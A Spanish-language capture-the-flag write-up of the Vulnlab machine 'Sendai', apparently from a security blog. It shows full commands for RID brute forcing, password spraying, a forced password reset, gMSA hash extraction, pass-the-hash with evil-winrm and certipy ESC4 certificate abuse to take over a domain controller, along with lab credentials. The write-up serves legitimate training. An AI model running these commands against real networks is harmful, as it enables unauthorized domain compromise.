Sendai – Writeup (Vulnlab)

Search for a command to run...

No comments yet. Be the first to comment.
Flameshot is one of those tools I end up using all the time. It is simple, lightweight, and just works for quick screenshots. You can capture, annotate, blur sensitive data, and copy straight to the c

After 6 or 7 years on Hack The Box, competing, failing, learning, and coming back again, I finally reached the Top 7 worldwide. The number itself is not what matters most, but everything behind it: ti

Anonymous SMB and NTLM theft enable Kerberoasting; forged silver tickets and MSSQL/token impersonation achieve SYSTEM.

In the Cybersecurity world, paranoia is part of daily life. We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming...

INFO: Ports and Services 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 32...

Durante el escaneo, detecto un servidor que responde en puertos clave asociados con Active Directory, como el puerto 389 para LDAP y el puerto 445 para SMB, etc..
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
62820/tcp open unknown syn-ack ttl 127
Procedo a realizar un fuzzing del sitio http://sendai.vl/ utilizando la herramienta dirsearch. Esta técnica implica el envío de múltiples solicitudes al servidor web para descubrir directorios y archivos ocultos que no están listados públicamente, los códigos de estado 301 indican redirecciones, lo que sugiere la presencia de recursos que podrían ser investigados más a fondo…
301 154B http://sendai.vl/aspnet_client -> REDIRECTS TO: http://sendai.vl/aspnet_client/
301 153B http://sendai.vl/service?Wsdl -> REDIRECTS TO: http://sendai.vl/service/?Wsdl
301 148B http://sendai.vl/service -> REDIRECTS TO: http://sendai.vl/service/
Para enumerar usuarios, implemento un ataque de fuerza bruta sobre los RID (Relative Identifiers) utilizando un ataque de ciclo de sesiones nulas. Este método permite identificar cuentas de usuario activas en el sistema al explotar la forma en que los sistemas operativos gestionan las sesiones nulas.
nxc smb sendai.vl -u 'shkz' -p '' --rid-brute

Exporto el listado a un user.txt y luego lo filtro para dejar clean el archivo.
Con NetExec realizo un UserSpray con la lista de users.txt que fomratie y con contraseña nula.
Obteniendo algo interesante:

Vemos que el usuario Elliot.Yates debería cambiar la contraseña. Esto podria ser posible si abusamos de esto con smbpasswd.py de impacket.
Cambio la contraseña de Elliot.Yates:
smbpasswd.py -newpass 'Mesa1234!' Elliot.Yates@sendai.vl

Veo que logro cambiarla. Procedo nuevamente a enumerar posibles recursos con el user Elliot.Yates y la contraseña que seteamos:
nxc smb sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --shares

Ingreso a los recursos via smbclient.py. Y cheque el share “CONFIG“ en donde encuentro hardcodeada una contraseña.
smbclient.py sendai.vl/Elliot.Yates:'Mesa1234!'@sendai.vl

Posteriormente de encontrar estas credenciales intento chequear con netexec nuevamente.
USER –> sqlsvc
Password –> SurenessBlob85
Con el usuario Elliot.Yates que cambiamos la contraseña vamos a utilizarlo para usar el collector de Bloodhound y poder ver donde estamos parado en el AD.
bloodhound-python -u 'Elliot.Yates' -p 'Mesa1234!' -ns 10.10.123.78 -d sendai.vl -c all --dns-tcp --zip

Importo el .zip en bloodhound y observo lo siguiente. El usuer Elliot.Yates es miembro del grupo de Soporte el cual tiene GenericAll sobre ADMSVC, el cual podremos abusar del siguiente modo para agregarlo al grupo a Elliot.
net rpc group addmem 'ADMSVC' Elliot.Yates -U Elliot.Yates -I sendai.vl
Con esto nos garantizamos que Elliot sea parte del grupo ADMSVC y si chequeo nuevamente el panorama con Bloodhound, vemos que esto surge efecto:

Con lo siguiente extraigo el NTLM de la cuenta mgtsvc$:
nxc ldap sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --gmsa

evil-winrm -i 10.10.123.78 -u 'mgtsvc$' -H 'ntlm_hash'
Una vez dentro podemos probar algunas herramientas de chequeo para escalar privilegios.
En mi caso intente con PowerUp.ps1 pero no funcionaba correctamente así que opte por la segunda opción que era PrivesCheck.ps1.
Encontrando credenciales hardcodeadas del user clifford.davey:
USER = clifford.davey
PASS = RFmoB2WplgE_3p
Segun las hints, vemos que la parte final del ROOT esta basado en ADCS.
Procedo a buscar con certipy y las credenciales de clifford.davey encontradas a ver que nos arroja:
certipy find -u 'clifford.davey' -p '<pass>' -dc-ip 10.10.114.68 -ns 10.10.114.68 -debug -vulnerable
Vemos que es vulnerable a ESC4.

Trabajamos con la template vulnerable: SendaiComputer
certipy template -username 'clifford.davey@sendai.vl' -password '<pass>' -template SendaiComputer -save-old

Luego ejecutamos:
certipy req -ca sendai-DC-CA -username 'clifford.davey@sendai.vl' -password '<pass>' -target 'dc.sendai.vl' -template SendaiComputer -upn 'administrator@sendai.vl'

Finalmente obtenemos el administrator.pfx que nos permitira con lo siguiente acceder al sistema y rootear la maquina:
certipy auth -pfx administrator.pfx -dc-ip 10.10.114.68
evil-winrm -i sendai.vl -u 'administrator' -H '<HASH>'
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/18/2023 6:15 AM 36 root.txt
Pwned!